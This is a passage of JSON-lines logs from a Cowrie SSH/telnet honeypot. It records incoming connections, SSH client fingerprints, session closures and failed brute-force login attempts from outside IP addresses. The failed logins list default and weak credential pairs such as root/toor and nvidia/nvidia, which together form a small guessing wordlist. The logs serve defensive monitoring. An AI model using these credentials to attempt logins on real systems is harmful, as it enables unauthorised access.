ha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:36.977927Z","src_ip":"176.65.132.129","session":"8a70ddd2207e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:37.095534Z","src_ip":"101.32.240.31","session":"68a25ec91f90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:37.223062Z","src_ip":"176.65.132.129","session":"8a70ddd2207e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anfisa","message":"login attempt [root/anfisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:37.449250Z","src_ip":"103.15.222.183","session":"87f9bd7fbbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:38.307814Z","src_ip":"176.65.132.129","session":"8a70ddd2207e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:38.697736Z","src_ip":"103.15.222.183","session":"87f9bd7fbbfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.2384021282196,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:39.203168Z","src_ip":"152.42.224.71","session":"7acd5106a69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36716,"dst_ip":"159.203.135.109","dst_port":22,"session":"ade7c922bd17","protocol":"ssh","message":"New connection: 176.65.132.129:36716 (159.203.135.109:22) [session: ade7c922bd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.017372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.022891Z","src_ip":"176.65.132.129","session":"ade7c922bd17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.105808Z","src_ip":"176.65.132.129","session":"ade7c922bd17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.756348133087158,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.321880Z","src_ip":"152.42.224.71","session":"aecca259db10","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.450065Z","src_ip":"176.65.132.129","session":"ade7c922bd17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.425305128097534,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:40.546960Z","src_ip":"152.42.224.71","session":"7f6ac3fc2944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:41.534998Z","src_ip":"176.65.132.129","session":"ade7c922bd17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36724,"dst_ip":"159.203.135.109","dst_port":22,"session":"c421079b8707","protocol":"ssh","message":"New connection: 176.65.132.129:36724 (159.203.135.109:22) [session: c421079b8707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:43.286604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:43.290971Z","src_ip":"176.65.132.129","session":"c421079b8707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:43.374288Z","src_ip":"176.65.132.129","session":"c421079b8707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:43.628069Z","src_ip":"176.65.132.129","session":"c421079b8707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:44.720797Z","src_ip":"176.65.132.129","session":"c421079b8707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":34040,"dst_ip":"159.203.135.109","dst_port":22,"session":"514572113d1c","protocol":"ssh","message":"New connection: 45.132.125.41:34040 (159.203.135.109:22) [session: 514572113d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:44.820561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:44.826105Z","src_ip":"45.132.125.41","session":"514572113d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:44.929156Z","src_ip":"45.132.125.41","session":"514572113d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porquinho","message":"login attempt [root/porquinho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:45.373920Z","src_ip":"45.132.125.41","session":"514572113d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40028,"dst_ip":"159.203.135.109","dst_port":22,"session":"2939f61da6fd","protocol":"ssh","message":"New connection: 176.65.132.129:40028 (159.203.135.109:22) [session: 2939f61da6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:46.449746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:46.455152Z","src_ip":"176.65.132.129","session":"2939f61da6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:46.480717Z","src_ip":"45.132.125.41","session":"514572113d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:46.537561Z","src_ip":"176.65.132.129","session":"2939f61da6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:46.785527Z","src_ip":"176.65.132.129","session":"2939f61da6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:47.877857Z","src_ip":"176.65.132.129","session":"2939f61da6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53598d8389e","protocol":"ssh","message":"New connection: 20.193.250.100:54504 (10.17.0.5:22) [session: f53598d8389e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.083471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.088769Z","src_ip":"20.193.250.100","session":"f53598d8389e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.286780Z","src_ip":"20.193.250.100","session":"f53598d8389e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40036,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f58eabd7fc5","protocol":"ssh","message":"New connection: 176.65.132.129:40036 (159.203.135.109:22) [session: 4f58eabd7fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.641108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.645848Z","src_ip":"176.65.132.129","session":"4f58eabd7fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:49.728895Z","src_ip":"176.65.132.129","session":"4f58eabd7fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darek","message":"login attempt [root/darek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:50.103823Z","src_ip":"20.193.250.100","session":"f53598d8389e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:50.125401Z","src_ip":"176.65.132.129","session":"4f58eabd7fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:51.209300Z","src_ip":"176.65.132.129","session":"4f58eabd7fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:51.301628Z","src_ip":"20.193.250.100","session":"f53598d8389e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40046,"dst_ip":"159.203.135.109","dst_port":22,"session":"16f97f2ea4bd","protocol":"ssh","message":"New connection: 176.65.132.129:40046 (159.203.135.109:22) [session: 16f97f2ea4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:52.994939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:52.999534Z","src_ip":"176.65.132.129","session":"16f97f2ea4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:53.081994Z","src_ip":"176.65.132.129","session":"16f97f2ea4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:53.326916Z","src_ip":"176.65.132.129","session":"16f97f2ea4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46844,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c4337bfcc11","protocol":"ssh","message":"New connection: 89.108.118.91:46844 (10.17.0.5:22) [session: 9c4337bfcc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:53.615684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:53.619874Z","src_ip":"89.108.118.91","session":"9c4337bfcc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:44:54.011765Z","src_ip":"89.108.118.91","session":"9c4337bfcc11","protocol":"ssh"}
